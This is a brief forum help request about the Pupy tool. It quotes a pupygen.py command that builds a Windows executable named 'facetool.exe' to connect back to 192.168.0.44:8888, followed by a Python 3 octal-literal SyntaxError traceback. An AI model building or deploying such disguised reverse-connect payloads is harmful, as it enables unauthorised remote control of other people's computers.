Issue on using Pupy

Hi, I want to use Pupy, but when i do this command :

Code:

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python3 ./pupygen.py -f exe_x64 -o facetool.exe connect -host 192.168.0.44:8888

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I have this issue :

Code:

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  File "./pupygen.py", line 221
    os.chmod(os.path.join(root, dir), 0700)
                                        ^
SyntaxError: leading zeros in decimal integer literals are not permitted; use an 0o prefix for octal integers

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